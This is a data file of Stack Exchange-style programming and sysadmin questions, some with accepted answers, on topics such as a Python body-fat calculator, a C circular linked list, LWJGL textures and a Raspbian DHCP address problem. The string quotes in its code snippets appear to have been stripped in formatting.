{  "id": "_codereview.14503"  , "question": "I'm very very fresh to programming. This is one of my first experiments with Python and I'm wondering in what ways I could have made this program less clunky. Specifically, is there a way that I could have used classes instead of defining my x, y, and z variables globally?def getx():    try:        global x        x = float(raw_input(Please give your weight (pounds): ))        return x    except ValueError:        print(Use a number, silly!)        getx()def gety():    try:        global y        y = float(raw_input(what is your current body fat percentage? (>1): ))        return y    except ValueError:        print(Use a number, silly!)        gety()def getz():    try:        global z        z = float(raw_input(What is your desired body fat percentage? (>1): ))        return z    except ValueError:        print(Use a number, silly!)        getz()def output():    getx()    gety()    getz()    A = (x*(y/100-z/100))/(1-z/100)    B = x - A    print(Your necessary weight loss is %.1f pounds, and \\your final weight will be %.1f pounds % (A,B))    more()def more():    again = raw_input(Calculate again? )    if again.lower() == yes or \\       again.lower() == y or \\       again.lower() == sure or \\       again.lower() == ok or \\       again.lower() ==  or \\       again.lower() == okay:        output()    elif again.lower() == no or \\         again.lower() == n or \\         again.lower() == nah or \\         again.lower() == nope:            end()    else:        more()def end():    print(Ok, see ya later!)output()"  , "title": "Python beginner's body fat calculator"  , "tags": "python;beginner;calculator"  } 
{  "id": "_softwareengineering.189542"  , "question": "BackgroundI revisited an old (but great) site I had not been to for ages - the Alioth Language Shootout (http://benchmarksgame.alioth.debian.org/).I started out programming in C/C++ several years ago, but have since then been working almost exclusively in Java due to language constraints in the projects I have been involved in. Not remembering the figures, I wanted to see, approximately, how well Java fared against C/C++ in terms of resource usage.The execution times were still relatively good, with Java at worst performing 4x slower than C/C++, but on average around (or below) 2x. Due to the nature of the implementation of Java itself, this was no surprise, and it's performance time was actually lower than what I expected.The real brick was the memory allocation - at worst, Java allocated:  a whopping 52x more memory than Cand 25x more than C++. 52x the memory ... Absolutely nasty, right? ... or is it?  Memory is comparatively cheap now.Question:If we do not speak in terms of target platforms with strict limits on working memory (i.e. embedded systems and the like), should memory usage be a concern when picking a general purpose language today? I am asking in part because I am considering migrating to Scala as my primary language. I very much like the functional aspects of it, but from what I can see it is even more expensive in terms of memory than Java. However, since memory seems to be getting faster, cheaper and more plentiful by the year (it seems to be increasingly hard to find a consumer laptop without at least 4GB of DDR3 RAM), could it not be argued that resource management is becoming increasingly more irrelevant as compared to (possibly implementation-wise expensive) high-level language features which allow for faster construction of more readable solutions?"  , "title": "Is memory management in programming becoming an irrelevant concern?"  , "tags": "java;programming languages;scala;resources;engineering"  , "accepted_answer": "Memory management is utterly relevant since it governs how fast something appears even if that something has a great deal of memory. The best and most canonical example are AAA-title games like Call of Duty or Bioshock. These are effectively real-time applications that require massive amounts of control in terms of optimization and usage. It's not the usage per se that's the issue but rather the management.It comes down to two words: Garbage Collection. Garbage Collection algorithms can cause slight hiccups in performance or even cause the application to hang for a second or two. Mostly harmless in an accounting app but potentially ruinous in terms of user experience in a game of Call of Duty. Thus in applications where time matters, garbage collected languages can be hugely problematic. It's one of the design aims of Squirrel for instance, which seeks to remedy the issue that Lua has with its GC by using reference counting instead.Is it more of a headache? Sure but if you need precise control, you put up with it."  } 
{  "id": "_unix.290265"  , "question": "I temporarily had a static ip for my raspberry. Now the config looks like this./etc/network/interfacesauto loiface lo inet loopbackauto eth0iface eth0 inet dhcpBut this leads to a reservation of the complete range of the availble dhcp ips.$ ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo       valid_lft forever preferred_lft forever    inet6 ::1/128 scope host       valid_lft forever preferred_lft forever2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000    link/ether b8:27:eb:94:90:82 brd ff:ff:ff:ff:ff:ff    inet 192.168.2.29/24 brd 192.168.2.255 scope global eth0       valid_lft forever preferred_lft forever    inet 192.168.2.30/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.31/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.32/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.33/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.34/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.35/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.36/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.37/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.38/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.39/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.41/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.42/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.43/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.44/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.45/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.40/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.46/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.47/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.49/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.50/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.51/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.52/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.53/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.54/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.55/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.56/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.57/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.58/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.59/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.60/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.61/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.62/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.63/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.64/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.65/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.66/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.67/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.68/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.69/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.70/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.71/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.72/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.73/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.74/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.75/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.77/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.78/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.79/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.80/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.81/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.82/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.83/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.84/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.85/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.86/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.87/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.88/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.89/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.90/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.91/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.92/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.93/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.94/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.95/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.96/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.97/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.98/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.99/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.100/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.101/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.102/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.103/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.104/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.105/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.106/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.107/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.108/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.109/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.110/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.111/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.112/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.113/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.114/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.115/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.116/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.117/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.118/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.119/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.120/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.121/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.122/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.123/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.124/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.125/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.126/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.127/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.128/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.129/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.130/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.131/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.132/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.133/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.134/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.135/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.136/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.137/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.138/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.139/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.141/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.142/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.143/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.144/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.145/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.146/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.147/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.148/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.149/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.150/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.151/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.152/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.153/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.154/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.155/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.156/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.157/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.158/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.159/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.161/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.162/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.163/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.164/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.165/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.166/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.167/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.168/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.169/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.170/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.171/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.172/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.173/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.174/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.175/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.176/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.177/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.178/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.179/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.180/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.181/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.182/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.183/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.184/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.185/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.186/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.187/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.188/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.189/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.190/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.191/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.192/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.193/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.194/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.195/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.196/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.197/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.198/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.200/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.199/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.24/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.26/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.27/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft forever    inet 192.168.2.28/24 brd 192.168.2.255 scope global secondary eth0       valid_lft forever preferred_lft foreverWhat is the problem? (Raspbian GNU/Linux 8)"  , "title": "Raspbian uses the complete dhcp range"  , "tags": "raspbian;dhcp;ipv4"  } 
{  "id": "_webmaster.12014"  , "question": "I am trying to figure out where do all sites that use the 'Helvetica Neue' font get it from. There are certainly too many sites using it for it not to be free. But frankly, there are only two fontsites which have it in their catalog, and it is for sale (and not as a webfont).Moreover, can you give some examples of webfonts which are similar to this 'Helvetica Neue' and are (mostly) free?Thank you!"  , "title": "'Helvetica Neue' webfont"  , "tags": "fonts"  , "accepted_answer": "Based on the examples you posted in response to my comment above, you're confused.Dribbble and Foursquare aren't using web font/font-face embedding at all. They're simply specifying Helvetica Neue in their font-family stacks. If a visitor happens to have that font installed on their system, then they'll see it. They quite likely don't, in which case their system will try the next font down, and so on until either something matches or it just ends up using their default for sans-/serif/monospace."  } 
{  "id": "_unix.178180"  , "question": "I tried import drawings from OpenClipArt in my Ubuntu using Inkscape, but appear this problem below:Failed to receive the Open Clip Art Library RSS feed. Verify if the server name is correct in Configuration->Import/Export (e.g.: openclipart.org)How can I fix this and import drawings from OpenClipArt.org? "  , "title": "Failed to receive the Open Clip Art Library RSS feed"  , "tags": "ubuntu;inkscape"  } 
{  "id": "_computergraphics.4936"  , "question": "I have got a texture ID and would like to retrieve its data. The data should be stored in a BufferedImage for future use. I am using the LWJGL library in Java, so if there are some library-specific shortcuts I'd like to use them.My naive approach is to first fill a buffer with the image data and then pass it to the image.        int id = ...;        IntBuffer buff = BufferUtils.createIntBuffer(1024*512*4);        GL11.glBindTexture(GL11.GL_TEXTURE_2D, id);        System.out.println(buff.remaining());        GL11.glGetTexImage(GL11.GL_TEXTURE_2D, 0, GL12.GL_BGRA, GL12.GL_UNSIGNED_INT_8_8_8_8_REV, buff);        System.out.println(buff.remaining());        buff.flip();        buff.rewind();        System.out.println(buff.remaining());        // Somehow create a BufferedImage from buff hereI don't know why, but the first and to buff.remaining() return the same value, indicating that nothing has been written which should not be the case."  , "title": "LWJGL/OpenGL get BufferedImage from texture ID"  , "tags": "opengl;image"  , "accepted_answer": "To make it a more complete example, let's also consider loading a texture from a BufferedImage as well.First let's assume:int texture = glGenTextures();glBindTexture(GL_TEXTURE_2D, texture);First we need to load an image. For this we can use ImageIO.read(). Then we put all the pixels from the BufferedImage into a ByteBuffer.BufferedImage image = ImageIO.read(new File(image.png));int width = image.getWidth(), height = image.getHeight();int[] pixels = new int[width * height];image.getRGB(0, 0, width, height, pixels, 0, width);ByteBuffer buffer = BufferUtils.createByteBuffer(width * height * 4); // 4 because RGBAfor(int y = 0; y < height; ++y) {    for(int x = 0; x < width; ++x) {        int pixel = pixels[x + y * width];        buffer.put((byte) ((pixel >> 16) & 0xFF));        buffer.put((byte) ((pixel >> 8) & 0xFF));        buffer.put((byte) (pixel & 0xFF));        buffer.put((byte) ((pixel >> 24) & 0xFF));    }}buffer.flip();glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, buffer);Before we go ahead and call glGetTexImage() lets assume that the only thing we have is the texture name (texture). Thus we consider that we don't know the size or format of the texture. We can get all this by doing:int format = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_INTERNAL_FORMAT);int width = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_WIDTH);int height = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_HEIGHT);Using that information we again create a ByteBuffer as well as a BufferedImage. Reading the pixels from the ByteBuffer and placing them on the BufferedImage.int channels = 4;if (format == GL_RGB)    channels = 3;ByteBuffer buffer = BufferUtils.createByteBuffer(width * height * channels);BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_ARGB);glGetTexImage(GL_TEXTURE_2D, 0, format, GL_UNSIGNED_BYTE, buffer);for (int x = 0; x < width; ++x) {    for (int y = 0; y < height; ++y) {        int i = (x + y * width) * channels;        int r = buffer.get(i) & 0xFF;        int g = buffer.get(i + 1) & 0xFF;        int b = buffer.get(i + 2) & 0xFF;        int a = 255;        if (channels == 4)            a = buffer.get(i + 3) & 0xFF;        image.setRGB(x, y, (a << 24) | (r << 16) | (g << 8) | b);    }}Now go ahead and save that BufferedImage to a file.ImageIO.write(image, PNG, new File(out.png));Last but not least, you can get rid of all those GL11. prefixes, by statically importing GL11. You do that by doing:import static org.lwjgl.opengl.GL11.*;"  } 
{  "id": "_codereview.77007"  , "question": "Let me know if it seems right to you and if anything can be optimized. My concern is that I'm unsure if circular linked lists are supposed to have a tail. I've implemented it just using a head. Is that wrong? If so, how would you change it to make it proper?/*  * Circular Linked List * */#include <stdio.h>#include <stdlib.h>typedef struct Node {    int data;    struct Node *next;} Node;void insert_beg_of_list(Node *current, int data);void delete(Node *current, int data);void print_list(Node *current);int find_in_a_list(Node *current, int data);void insert_beg_of_list(Node *current, int data) {    //keep track of first node    Node *head = current;    while(current->next != head) {        current = current->next;    }    current->next = (Node*)malloc(sizeof(Node));    current = current->next;    current->data = data;    current->next = head;}void delete_from_list(Node *current, int data) {    Node *head = current;    while(current->next != head && (current->next)->data != data) {        current = current->next;    }    if(current->next == head) {        printf(%d element is not found\\n\\n, data);        return;    }    Node *tmp;    tmp = current->next;    current->next = tmp->next;    free(tmp);      return;}void print_list(Node *current) {    Node *head = current;    current = current->next;    while(current != head){        printf( %d , current->data);        current = current->next;    }}int find_in_a_list(Node *current, int data) {    Node *head = current;    current = current->next;    while(current != head) {        if(current->data == data) {            // Key found            return 1;        }        current = current->next;    }    // Key is not found    return 0;}int main() {    Node *head = (Node *)malloc(sizeof(Node));    head->next = head;      int data = 0;    int usr_input = 0;    while(1){        printf(0. Exit\\n);        printf(1. Insert\\n);        printf(2. Delete\\n);        printf(3. Print\\n);        printf(4. Find\\n);        scanf(%d, &usr_input);        // can also use a switch instead        if( usr_input == 0) {            exit(0);        } else if(usr_input == 1) {            printf(\\nEnter an element you want to insert: );            scanf(%d, &data);            insert_beg_of_list(head, data);        } else if(usr_input == 2) {            printf(\\nEnter an element you want to delete: );            scanf(%d, &data);            delete_from_list(head, data);        } else if( usr_input == 3) {            printf(The list is );            print_list(head);            printf(\\n\\n);        } else if( usr_input == 4) {            printf(\\nEnter an element you want to find: );            scanf(%d, &data);            int is_found = find_in_a_list(head, data);            if (is_found) {                printf(\\nElement is found\\n\\n);            } else {                printf(\\nElement is NOT found\\n\\n);            }        }    }    return 0;}"  , "title": "Circular linked list in C"  , "tags": "c;linked list;circular list"  } 
{  "id": "_webapps.50142"  , "question": "How is this done? Maybe with PHP or JavaScript?"  , "title": "How can I make this integration with Facebook for comments in the botton of my web page?"  , "tags": "comments;facebook like;facebook integration"  , "accepted_answer": "One solution is to use this Facebook plugin: https://developers.facebook.com/docs/reference/plugins/comments/"  } 
{  "id": "_webapps.42263"  , "question": "I've gone about setting up a new email address, the one i'm signed on here with, and I picked out three friends to send codes to. I received two of them back, but the third friend deleted the email with the code and can't retrieve it. I've filed exactly 5 different reports and so far no response at all. I've checked my spam folder it's spotless.What should I do?"  , "title": "I can't get back on to my Facebook. Email address no longer available to me"  , "tags": "facebook;account management"  } 
{  "id": "_softwareengineering.323295"  , "question": "This is part of the code of a calculator that works on command line. It works fine and the math is correct but it's a little redundant:switch(Operator) {  case +: result = num1 + num2;  printResult();  break;  case - : result = num1 - num2;  printResult();  break;  case *:  result = num1 * num2;  printResult();  break;  case /:  result = num1 / num2;  printResult();  break;  case ^:  result = Math.Pow(num1, num2);  printResult();  break;  case root:  result = Math.Pow(num1, (1/num2));  Console.WriteLine(Root degree  + num2 +  of  + num1 +  is  + result);  break;  default:  Console.WriteLine(Invalid operator.);  break;}//END SWITCH       Is there a way to avoid this redundant code like result = num1 Operator num2;or for char o = Operatorresult = num1 Operator num2;Even just for the + - / * operations ?"  , "title": "Simplifying code of a calculator (help)"  , "tags": "c#"  , "accepted_answer": "First, remove the duplication by moving PrintResult() below your switch. You call it every time (nearly, you'll need to make it a touch more robust I imagine). Then, change your method to return a result instead. This method calculates and prints. It shouldn't, that break SRP. Now, you could create a dictionary of functions to be invoked. var operations = new Dictionary<string, Func<int, int, double>>(){    { +, (a, b) => a + b },    { -, (a, b) => a - b },    //...}return operations[Operator](num1, num2);May not compile, I'm typing on my phone. Exception handling left to OP.Of course, if you get really froggy, you could go create a calculator parser and really overkill the solution. "  } 
{  "id": "_unix.367772"  , "question": "It seems adding desktop icons are a pain in Fedora. Can someone please tell me how I can place the Terminal icon on the desktop ? I have downloaded the gnome-tweak-tool and enabled icons on Desktop.Also is there an application that I can use to do this ? Rather than editing the files in ~/local ?"  , "title": "Fedora 25 - Place terminal icon on Desktop"  , "tags": "fedora;icons"  , "accepted_answer": "Assuming you've logged out & back in after enabling desktop icons in the tweak tool; using the gnome file browser, go to:/usr/share/applicationsSearch for, or find the file called 'terminal' in this directory, and drag it to the desktop. "  } 
